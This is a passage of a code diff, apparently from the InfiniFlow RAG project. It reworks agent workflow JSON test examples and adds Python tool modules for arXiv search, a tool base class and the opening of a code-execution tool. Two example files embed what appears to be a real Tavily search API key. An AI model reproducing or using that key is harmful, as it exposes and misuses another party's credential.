-  "messages": [],
-  "reference": {},
-  "path": [],
-  "answer": []
-}

agent/test/dsl_examples/iteration.json

@@ -0,0 +1,92 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["generate:0"],
+                "upstream": []
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "Agent",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "sys_prompt": "You are an helpful research assistant. \nPlease decompose user's topic: '{sys.query}' into several meaningful sub-topics. \nThe output format MUST be an string array like: [\"sub-topic1\", \"sub-topic2\", ...]. Redundant information is forbidden.",
+                      "temperature": 0.2,
+                      "cite":false,
+                      "output_structure": ["sub-topic1", "sub-topic2", "sub-topic3"]
+                    }
+                },
+                "downstream": ["iteration:0"],
+                "upstream": ["begin"]
+            },
+            "iteration:0": {
+                "obj": {
+                    "component_name": "Iteration",
+                    "params": {
+                      "items_ref": "generate:0@structured_content"
+                    }
+                },
+                "downstream": ["message:0"],
+                "upstream": ["generate:0"]
+            },
+            "iterationitem:0": {
+                "obj": {
+                    "component_name": "IterationItem",
+                    "params": {}
+                },
+                "parent_id": "iteration:0",
+                "downstream": ["tavily:0"],
+                "upstream": []
+            },
+            "tavily:0": {
+                "obj": {
+                    "component_name": "TavilySearch",
+                    "params": {
+                      "api_key": "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",
+                      "query": "iterationitem:0@result"
+                    }
+                },
+                "parent_id": "iteration:0",
+                "downstream": ["generate:1"],
+                "upstream": ["iterationitem:0"]
+            },
+            "generate:1": {
+                "obj": {
+                    "component_name": "Agent",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "sys_prompt": "Your goal is to provide answers based on information from the internet. \nYou must use the provided search results to find relevant online information. \nYou should never use your own knowledge to answer questions.\nPlease include relevant url sources in the end of your answers.\n\n \"{tavily:0@formalized_content}\" \nUsing the above information, answer the following question or topic: \"{iterationitem:0@result} \"\nin a detailed report — The report should focus on the answer to the question, should be well structured, informative, in depth, with facts and numbers if available, a minimum of 200 words and with markdown syntax and apa format. Write all source urls at the end of the report in apa format. You should write your report only based on the given information and nothing else.",
+                      "temperature": 0.9,
+                      "cite":false
+                    }
+                },
+                "parent_id": "iteration:0",
+                "downstream": ["iterationitem:0"],
+                "upstream": ["tavily:0"]
+            },
+            "message:0": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "content": ["{iteration:0@generate:1}"]
+                    }
+                },
+                "downstream": [],
+                "upstream": ["iteration:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "retrival": {"chunks": [], "doc_aggs": []},
+  "globals": {
+    "sys.query": "",
+    "sys.user_id": "",
+    "sys.conversation_turns": 0,
+    "sys.files": []
+  }
+}

agent/test/dsl_examples/keyword_wikipedia_and_generate.json

@@ -1,62 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi there!"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["keyword:0"],
-                "upstream": ["begin"]
-            },
-            "keyword:0": {
-                "obj": {
-                    "component_name": "KeywordExtract",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "- Role: You're a question analyzer.\n    - Requirements:\n     - Summarize user's question, and give top %s important keyword/phrase.\n    - Use comma as a delimiter to separate keywords/phrases.\n    - Answer format: (in language of user's question)\n    - keyword: ",
-                      "temperature": 0.2,
-                      "top_n": 1
-                    }
-                },
-                "downstream": ["wikipedia:0"],
-                "upstream": ["answer:0"]
-            },
-            "wikipedia:0": {
-                "obj":{
-                    "component_name": "Wikipedia",
-                    "params": {
-                      "top_n": 10
-                    }
-                },
-                "downstream": ["generate:0"],
-                "upstream": ["keyword:0"]
-            },
-            "generate:1": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are an intelligent assistant. Please answer the question based on content from Wikipedia. When the answer from Wikipedia is incomplete, you need to output the URL link of the corresponding content as well. When all the content searched from Wikipedia is irrelevant to the question, your answer must include the sentence, \"The answer you are looking for is not found in the Wikipedia!\". Answers need to consider chat history.\n       The content of Wikipedia is as follows:\n    {input}\n     The above is the content of Wikipedia.",
-                      "temperature": 0.2
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["wikipedia:0"]
-            }
-  },
-  "history": [],
-  "path": [],
-  "messages": [],
-  "reference": {},
-  "answer": []
-}

agent/test/dsl_examples/retrieval_and_generate.json

@@ -7,16 +7,8 @@
                       "prologue": "Hi there!"
                     }
                 },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
                 "downstream": ["retrieval:0"],
-                "upstream": ["begin", "generate:0"]
+                "upstream": []
             },
             "retrieval:0": {
                 "obj": {
@@ -26,29 +18,44 @@
                       "keywords_similarity_weight": 0.3,
                       "top_n": 6,
                       "top_k": 1024,
-                      "rerank_id": "BAAI/bge-reranker-v2-m3",
-                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
+                      "rerank_id": "",
+                      "empty_response": "Nothing found in dataset",
+                      "kb_ids": ["1a3d1d7afb0611ef9866047c16ec874f"]
                     }
                 },
                 "downstream": ["generate:0"],
-                "upstream": ["answer:0"]
+                "upstream": ["begin"]
             },
             "generate:0": {
                 "obj": {
-                    "component_name": "Generate",
+                    "component_name": "LLM",
                     "params": {
                       "llm_id": "deepseek-chat",
-                      "prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {input}\n      The above is the knowledge base.",
+                      "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {retrieval:0@formalized_content}\n      The above is the knowledge base.",
                       "temperature": 0.2
                     }
                 },
-                "downstream": ["answer:0"],
+                "downstream": ["message:0"],
                 "upstream": ["retrieval:0"]
+            },
+            "message:0": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "content": ["{generate:0@content}"]
+                    }
+                },
+                "downstream": [],
+                "upstream": ["generate:0"]
             }
   },
   "history": [],
-  "messages": [],
-  "reference": {},
   "path": [],
-  "answer": []
+  "retrival": {"chunks": [], "doc_aggs": []},
+  "globals": {
+    "sys.query": "",
+    "sys.user_id": "",
+    "sys.conversation_turns": 0,
+    "sys.files": []
+  }
 }

agent/test/dsl_examples/retrieval_categorize_and_generate.json

@@ -7,16 +7,8 @@
                       "prologue": "Hi there!"
                     }
                 },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
                 "downstream": ["categorize:0"],
-                "upstream": ["begin", "generate:0", "switch:0"]
+                "upstream": []
             },
             "categorize:0": {
                 "obj": {
@@ -26,30 +18,30 @@
                       "category_description": {
                         "product_related": {
                           "description": "The question is about the product usage, appearance and how it works.",
-                          "examples": "Why it always beaming?\nHow to install it onto the wall?\nIt leaks, what to do?",
-                          "to": "retrieval:0"
+                          "examples": [],
+                          "to": ["retrieval:0"]
                         },
                         "others": {
                           "description": "The question is not about the product usage, appearance and how it works.",
-                          "examples": "How are you doing?\nWhat is your name?\nAre you a robot?\nWhat's the weather?\nWill it rain?",
-                          "to": "message:0"
+                          "examples": [],
+                          "to": ["message:0"]
                         }
                       }
                     }
                 },
-                "downstream": ["retrieval:0", "message:0"],
-                "upstream": ["answer:0"]
+                "downstream": [],
+                "upstream": ["begin"]
             },
             "message:0": {
                 "obj":{
                     "component_name": "Message",
                     "params": {
-                      "messages": [
+                      "content": [
                         "Sorry, I don't know. I'm an AI bot."
                       ]
                     }
                 },
-                "downstream": ["answer:0"],
+                "downstream": [],
                 "upstream": ["categorize:0"]
             },
             "retrieval:0": {
@@ -60,29 +52,44 @@
                       "keywords_similarity_weight": 0.3,
                       "top_n": 6,
                       "top_k": 1024,
-                      "rerank_id": "BAAI/bge-reranker-v2-m3",
-                      "kb_ids": ["869a236818b811ef91dffa163e197198"]
+                      "rerank_id": "",
+                      "empty_response": "Nothing found in dataset",
+                      "kb_ids": ["1a3d1d7afb0611ef9866047c16ec874f"]
                     }
                 },
                 "downstream": ["generate:0"],
-                "upstream": ["switch:0"]
+                "upstream": ["categorize:0"]
             },
             "generate:0": {
                 "obj": {
-                    "component_name": "Generate",
+                    "component_name": "Agent",
                     "params": {
                       "llm_id": "deepseek-chat",
-                      "prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {input}\n      The above is the knowledge base.",
+                      "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {retrieval:0@formalized_content}\n      The above is the knowledge base.",
                       "temperature": 0.2
                     }
                 },
-                "downstream": ["answer:0"],
+                "downstream": ["message:1"],
                 "upstream": ["retrieval:0"]
+            },
+            "message:1": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "content": ["{generate:0@content}"]
+                    }
+                },
+                "downstream": [],
+                "upstream": ["generate:0"]
             }
   },
   "history": [],
-  "messages": [],
-  "reference": {},
   "path": [],
-  "answer": []
+  "retrival": {"chunks": [], "doc_aggs": []},
+  "globals": {
+    "sys.query": "",
+    "sys.user_id": "",
+    "sys.conversation_turns": 0,
+    "sys.files": []
+  }
 }

agent/test/dsl_examples/retrieval_relevant_and_generate.json

@@ -1,82 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi there!"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["retrieval:0"],
-                "upstream": ["begin", "generate:0", "switch:0"]
-            },
-            "retrieval:0": {
-                "obj": {
-                    "component_name": "Retrieval",
-                    "params": {
-                      "similarity_threshold": 0.2,
-                      "keywords_similarity_weight": 0.3,
-                      "top_n": 6,
-                      "top_k": 1024,
-                      "rerank_id": "BAAI/bge-reranker-v2-m3",
-                      "kb_ids": ["869a236818b811ef91dffa163e197198"],
-                      "empty_response": "Sorry, knowledge base has noting related information."
-                    }
-                },
-                "downstream": ["relevant:0"],
-                "upstream": ["answer:0"]
-            },
-            "relevant:0": {
-                "obj": {
-                    "component_name": "Relevant",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "temperature": 0.02,
-                      "yes": "generate:0",
-                      "no": "message:0"
-                    }
-                },
-                "downstream": ["message:0", "generate:0"],
-                "upstream": ["retrieval:0"]
-            },
-            "generate:0": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
-                      "temperature": 0.2
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["relevant:0"]
-            },
-            "message:0": {
-                "obj":{
-                    "component_name": "Message",
-                    "params": {
-                      "messages": [
-                        "Sorry, I don't know. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?",
-                        "I'm an AI bot and not quite sure about this question. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?",
-                        "Can't find answer in my knowledge base. Please leave your contact, our experts will contact you later. What's your e-mail/phone/wechat?"
-                      ]
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["relevant:0"]
-            }
-  },
-  "history": [],
-  "path": [],
-  "messages": [],
-  "reference": {},
-  "answer": []
-}

agent/test/dsl_examples/retrieval_relevant_keyword_baidu_and_generate.json

@@ -1,103 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi there!"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["retrieval:0"],
-                "upstream": ["begin"]
-            },
-            "retrieval:0": {
-                "obj": {
-                    "component_name": "Retrieval",
-                    "params": {
-                      "similarity_threshold": 0.2,
-                      "keywords_similarity_weight": 0.3,
-                      "top_n": 6,
-                      "top_k": 1024,
-                      "rerank_id": "BAAI/bge-reranker-v2-m3",
-                      "kb_ids": ["21ca4e6a2c8911ef8b1e0242ac120006"],
-                      "empty_response": "Sorry, knowledge base has noting related information."
-                    }
-                },
-                "downstream": ["relevant:0"],
-                "upstream": ["answer:0"]
-            },
-            "relevant:0": {
-                "obj": {
-                    "component_name": "Relevant",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "temperature": 0.02,
-                      "yes": "generate:0",
-                      "no": "keyword:0"
-                    }
-                },
-                "downstream": ["keyword:0", "generate:0"],
-                "upstream": ["retrieval:0"]
-            },
-            "generate:0": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
-                      "temperature": 0.2
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["relevant:0"]
-            },
-            "keyword:0": {
-                "obj": {
-                    "component_name": "KeywordExtract",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "- Role: You're a question analyzer.\n    - Requirements:\n     - Summarize user's question, and give top %s important keyword/phrase.\n    - Use comma as a delimiter to separate keywords/phrases.\n    - Answer format: (in language of user's question)\n    - keyword: ",
-                      "temperature": 0.2,
-                      "top_n": 1
-                    }
-                },
-                "downstream": ["baidu:0"],
-                "upstream": ["relevant:0"]
-            },
-            "baidu:0": {
-                "obj":{
-                    "component_name": "Baidu",
-                    "params": {
-                      "top_n": 10
-                    }
-                },
-                "downstream": ["generate:1"],
-                "upstream": ["keyword:0"]
-            },
-            "generate:1": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are an intelligent assistant. Please answer the question based on content searched from Baidu. When the answer from a Baidu search is incomplete, you need to output the URL link of the corresponding content as well. When all the content searched from Baidu is irrelevant to the question, your answer must include the sentence, \"The answer you are looking for is not found in the Baidu search!\". Answers need to consider chat history.\n       The content of Baidu search is as follows:\n    {input}\n     The above is the content of Baidu search.",
-                      "temperature": 0.2
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["baidu:0"]
-            }
-  },
-  "history": [],
-  "path": [],
-  "messages": [],
-  "reference": {},
-  "answer": []
-}

agent/test/dsl_examples/retrieval_relevant_rewrite_and_generate.json

@@ -1,79 +0,0 @@
-{
-  "components": {
-            "begin": {
-                "obj":{
-                    "component_name": "Begin",
-                    "params": {
-                      "prologue": "Hi there!"
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": []
-            },
-            "answer:0": {
-                "obj": {
-                    "component_name": "Answer",
-                    "params": {}
-                },
-                "downstream": ["retrieval:0"],
-                "upstream": ["begin", "generate:0", "switch:0"]
-            },
-            "retrieval:0": {
-                "obj": {
-                    "component_name": "Retrieval",
-                    "params": {
-                      "similarity_threshold": 0.2,
-                      "keywords_similarity_weight": 0.3,
-                      "top_n": 6,
-                      "top_k": 1024,
-                      "rerank_id": "BAAI/bge-reranker-v2-m3",
-                      "kb_ids": ["869a236818b811ef91dffa163e197198"],
-                      "empty_response": "Sorry, knowledge base has noting related information."
-                    }
-                },
-                "downstream": ["relevant:0"],
-                "upstream": ["answer:0", "rewrite:0"]
-            },
-            "relevant:0": {
-                "obj": {
-                    "component_name": "Relevant",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "temperature": 0.02,
-                      "yes": "generate:0",
-                      "no": "rewrite:0"
-                    }
-                },
-                "downstream": ["generate:0", "rewrite:0"],
-                "upstream": ["retrieval:0"]
-            },
-            "generate:0": {
-                "obj": {
-                    "component_name": "Generate",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "prompt": "You are an intelligent assistant. Please answer the question based on content of knowledge base. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\". Answers need to consider chat history.\n      Knowledge base content is as following:\n      {input}\n      The above is the content of knowledge base.",
-                      "temperature": 0.02
-                    }
-                },
-                "downstream": ["answer:0"],
-                "upstream": ["relevant:0"]
-            },
-            "rewrite:0": {
-                "obj":{
-                    "component_name": "RewriteQuestion",
-                    "params": {
-                      "llm_id": "deepseek-chat",
-                      "temperature": 0.8
-                    }
-                },
-                "downstream": ["retrieval:0"],
-                "upstream": ["relevant:0"]
-            }
-  },
-  "history": [],
-  "messages": [],
-  "path": [],
-  "reference": [],
-  "answer": []
-}

agent/test/dsl_examples/tavily_and_generate.json

@@ -0,0 +1,55 @@
+{
+  "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {
+                      "prologue": "Hi there!"
+                    }
+                },
+                "downstream": ["tavily:0"],
+                "upstream": []
+            },
+            "tavily:0": {
+                "obj": {
+                    "component_name": "TavilySearch",
+                    "params": {
+                      "api_key": "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"
+                    }
+                },
+                "downstream": ["generate:0"],
+                "upstream": ["begin"]
+            },
+            "generate:0": {
+                "obj": {
+                    "component_name": "LLM",
+                    "params": {
+                      "llm_id": "deepseek-chat",
+                      "sys_prompt": "You are an intelligent assistant. Please summarize the content of the knowledge base to answer the question. Please list the data in the knowledge base and answer in detail. When all knowledge base content is irrelevant to the question, your answer must include the sentence \"The answer you are looking for is not found in the knowledge base!\" Answers need to consider chat history.\n      Here is the knowledge base:\n      {tavily:0@formalized_content}\n      The above is the knowledge base.",
+                      "temperature": 0.2
+                    }
+                },
+                "downstream": ["message:0"],
+                "upstream": ["tavily:0"]
+            },
+            "message:0": {
+                "obj": {
+                    "component_name": "Message",
+                    "params": {
+                      "content": ["{generate:0@content}"]
+                    }
+                },
+                "downstream": [],
+                "upstream": ["generate:0"]
+            }
+  },
+  "history": [],
+  "path": [],
+  "retrival": {"chunks": [], "doc_aggs": []},
+  "globals": {
+    "sys.query": "",
+    "sys.user_id": "",
+    "sys.conversation_turns": 0,
+    "sys.files": []
+  }
+}

agent/tools/__init__.py

@@ -0,0 +1,48 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import os
+import importlib
+import inspect
+from types import ModuleType
+from typing import Dict, Type
+
+_package_path = os.path.dirname(__file__)
+__all_classes: Dict[str, Type] = {}
+
+def _import_submodules() -> None:
+    for filename in os.listdir(_package_path): # noqa: F821
+        if filename.startswith("__") or not filename.endswith(".py") or filename.startswith("base"):
+            continue
+        module_name = filename[:-3]
+
+        try:
+            module = importlib.import_module(f".{module_name}", package=__name__)
+            _extract_classes_from_module(module)  # noqa: F821
+        except ImportError as e:
+            print(f"Warning: Failed to import module {module_name}: {str(e)}")
+
+def _extract_classes_from_module(module: ModuleType) -> None:
+    for name, obj in inspect.getmembers(module):
+        if (inspect.isclass(obj) and
+                obj.__module__ == module.__name__ and not name.startswith("_")):
+            __all_classes[name] = obj
+            globals()[name] = obj
+
+_import_submodules()
+
+__all__ = list(__all_classes.keys()) + ["__all_classes"]
+
+del _package_path, _import_submodules, _extract_classes_from_module

agent/tools/arxiv.py

@@ -0,0 +1,102 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+import os
+import time
+from abc import ABC
+import arxiv
+from agent.tools.base import ToolParamBase, ToolMeta, ToolBase
+from api.utils.api_utils import timeout
+
+
+class ArXivParam(ToolParamBase):
+    """
+    Define the ArXiv component parameters.
+    """
+
+    def __init__(self):
+        self.meta:ToolMeta = {
+            "name": "arxiv_search",
+            "description": """arXiv is a free distribution service and an open-access archive for nearly 2.4 million scholarly articles in the fields of physics, mathematics, computer science, quantitative biology, quantitative finance, statistics, electrical engineering and systems science, and economics. Materials on this site are not peer-reviewed by arXiv.""",
+            "parameters": {
+                "query": {
+                    "type": "string",
+                    "description": "The search keywords to execute with arXiv. The keywords should be the most important words/terms(includes synonyms) from the original request.",
+                    "default": "{sys.query}",
+                    "required": True
+                }
+            }
+        }
+        super().__init__()
+        self.top_n = 12
+        self.sort_by = 'submittedDate'
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.sort_by, "ArXiv Search Sort_by",
+                               ['submittedDate', 'lastUpdatedDate', 'relevance'])
+
+    def get_input_form(self) -> dict[str, dict]:
+        return {
+            "query": {
+                "name": "Query",
+                "type": "line"
+            }
+        }
+
+
+class ArXiv(ToolBase, ABC):
+    component_name = "ArXiv"
+
+    @timeout(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))
+    def _invoke(self, **kwargs):
+        if not kwargs.get("query"):
+            self.set_output("formalized_content", "")
+            return ""
+
+        last_e = ""
+        for _ in range(self._param.max_retries+1):
+            try:
+                sort_choices = {"relevance": arxiv.SortCriterion.Relevance,
+                                "lastUpdatedDate": arxiv.SortCriterion.LastUpdatedDate,
+                                'submittedDate': arxiv.SortCriterion.SubmittedDate}
+                arxiv_client = arxiv.Client()
+                search = arxiv.Search(
+                    query=kwargs["query"],
+                    max_results=self._param.top_n,
+                    sort_by=sort_choices[self._param.sort_by]
+                )
+                self._retrieve_chunks(list(arxiv_client.results(search)),
+                                      get_title=lambda r: r.title,
+                                      get_url=lambda r: r.pdf_url,
+                                      get_content=lambda r: r.summary)
+                return self.output("formalized_content")
+            except Exception as e:
+                last_e = e
+                logging.exception(f"ArXiv error: {e}")
+                time.sleep(self._param.delay_after_error)
+
+        if last_e:
+            self.set_output("_ERROR", str(last_e))
+            return f"ArXiv error: {last_e}"
+
+        assert False, self.output()
+
+    def thoughts(self) -> str:
+        return """
+Keywords: {} 
+Looking for the most relevant articles.
+                """.format(self.get_input().get("query", "-_-!"))

agent/tools/base.py

@@ -0,0 +1,173 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+import re
+import time
+from copy import deepcopy
+from functools import partial
+from typing import TypedDict, List, Any
+from agent.component.base import ComponentParamBase, ComponentBase
+from api.utils import hash_str2int
+from rag.llm.chat_model import ToolCallSession
+from rag.prompts.prompts import kb_prompt
+from rag.utils.mcp_tool_call_conn import MCPToolCallSession
+from timeit import default_timer as timer
+
+
+class ToolParameter(TypedDict):
+    type: str
+    description: str
+    displayDescription: str
+    enum: List[str]
+    required: bool
+
+
+class ToolMeta(TypedDict):
+    name: str
+    displayName: str
+    description: str
+    displayDescription: str
+    parameters: dict[str, ToolParameter]
+
+
+class LLMToolPluginCallSession(ToolCallSession):
+    def __init__(self, tools_map: dict[str, object], callback: partial):
+        self.tools_map = tools_map
+        self.callback = callback
+
+    def tool_call(self, name: str, arguments: dict[str, Any]) -> Any:
+        assert name in self.tools_map, f"LLM tool {name} does not exist"
+        st = timer()
+        if isinstance(self.tools_map[name], MCPToolCallSession):
+            resp = self.tools_map[name].tool_call(name, arguments, 60)
+        else:
+            resp = self.tools_map[name].invoke(**arguments)
+
+        self.callback(name, arguments, resp, elapsed_time=timer()-st)
+        return resp
+
+    def get_tool_obj(self, name):
+        return self.tools_map[name]
+
+
+class ToolParamBase(ComponentParamBase):
+    def __init__(self):
+        #self.meta:ToolMeta = None
+        super().__init__()
+        self._init_inputs()
+        self._init_attr_by_meta()
+
+    def _init_inputs(self):
+        self.inputs = {}
+        for k,p in self.meta["parameters"].items():
+            self.inputs[k] = deepcopy(p)
+
+    def _init_attr_by_meta(self):
+        for k,p in self.meta["parameters"].items():
+            if not hasattr(self, k):
+                setattr(self, k, p.get("default"))
+
+    def get_meta(self):
+        params = {}
+        for k, p in self.meta["parameters"].items():
+            params[k] = {
+                "type": p["type"],
+                "description": p["description"]
+            }
+            if "enum" in p:
+                params[k]["enum"] = p["enum"]
+
+        desc = self.meta["description"]
+        if hasattr(self, "description"):
+            desc = self.description
+
+        function_name = self.meta["name"]
+        if hasattr(self, "function_name"):
+            function_name = self.function_name
+
+        return {
+            "type": "function",
+            "function": {
+                "name": function_name,
+                "description": desc,
+                "parameters": {
+                    "type": "object",
+                    "properties": params,
+                    "required": [k for k, p in self.meta["parameters"].items() if p["required"]]
+                }
+            }
+        }
+
+
+class ToolBase(ComponentBase):
+    def __init__(self, canvas, id, param: ComponentParamBase):
+        from agent.canvas import Canvas  # Local import to avoid cyclic dependency
+        assert isinstance(canvas, Canvas), "canvas must be an instance of Canvas"
+        self._canvas = canvas
+        self._id = id
+        self._param = param
+        self._param.check()
+
+    def get_meta(self) -> dict[str, Any]:
+        return self._param.get_meta()
+
+    def invoke(self, **kwargs):
+        self.set_output("_created_time", time.perf_counter())
+        try:
+            res = self._invoke(**kwargs)
+        except Exception as e:
+            self._param.outputs["_ERROR"] = {"value": str(e)}
+            logging.exception(e)
+            res = str(e)
+        self._param.debug_inputs = []
+
+        self.set_output("_elapsed_time", time.perf_counter() - self.output("_created_time"))
+        return res
+
+    def _retrieve_chunks(self, res_list: list, get_title, get_url, get_content, get_score=None):
+        chunks = []
+        aggs = []
+        for r in res_list:
+            content = get_content(r)
+            if not content:
+                continue
+            content = re.sub(r"!?\[[a-z]+\]\(data:image/png;base64,[ 0-9A-Za-z/_=+-]+\)", "", content)
+            content = content[:10000]
+            if not content:
+                continue
+            id = str(hash_str2int(content))
+            title = get_title(r)
+            url = get_url(r)
+            score = get_score(r) if get_score else 1
+            chunks.append({
+                "chunk_id": id,
+                "content": content,
+                "doc_id": id,
+                "docnm_kwd": title,
+                "similarity": score,
+                "url": url
+            })
+            aggs.append({
+                "doc_name": title,
+                "doc_id": id,
+                "count": 1,
+                "url": url
+            })
+        self._canvas.add_refernce(chunks, aggs)
+        self.set_output("formalized_content", "\n".join(kb_prompt({"chunks": chunks, "doc_aggs": aggs}, 200000, True)))
+
+    def thoughts(self) -> str:
+        return self._canvas.get_component_name(self._id) + " is running..."

agent/tools/code_exec.py

@@ -0,0 +1,201 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import base64
+import logging
+import os
+from abc import ABC
+from strenum import StrEnum
+from typing import Optional
+from pydantic import BaseModel, Field, field_validator
+from agent.tools.base import ToolParamBase, ToolBase, ToolMeta
+from api import settings
+from api.utils.api_utils import timeout
+
+
+class Language(StrEnum):
+    PYTHON = "python"
+    NODEJS = "nodejs"
+
+
+class CodeExecutionRequest(BaseModel):
+    code_b64: str = Field(..., description="Base64 encoded code string")
+    language: str = Field(default=Language.PYTHON.value, description="Programming language")
+    arguments: Optional[dict] = Field(default={}, description="Arguments")
+
+    @field_validator("code_b64")
+    @classmethod
+    def validate_base64(cls, v: str) -> str:
+        try:
+            base64.b64decode(v, validate=True)
+            return v
+        except Exception as e:
+            raise ValueError(f"Invalid base64 encoding: {str(e)}")
+
+    @field_validator("language", mode="before")
+    @classmethod
+    def normalize_language(cls, v) -> str:
+        if isinstance(v, str):
+            low = v.lower()
+            if low in ("python", "python3"):
